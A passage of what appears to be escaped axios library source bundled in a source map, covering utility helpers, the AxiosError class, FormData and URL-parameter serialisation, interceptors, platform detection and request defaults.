isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[Symbol.iterator];\n\n const iterator = generator.call(obj);\n\n let result;\n\n while ((result = iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n DIGIT,\n ALPHA,\n ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n let str = '';\n const {length} = alphabet;\n while (size--) {\n str += alphabet[Math.random() * length|0]\n }\n\n return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n ALPHABET,\n generateString,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.response && this.response.status ? this.response.status : null\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n isBrowser: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n (product) => {\n return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || 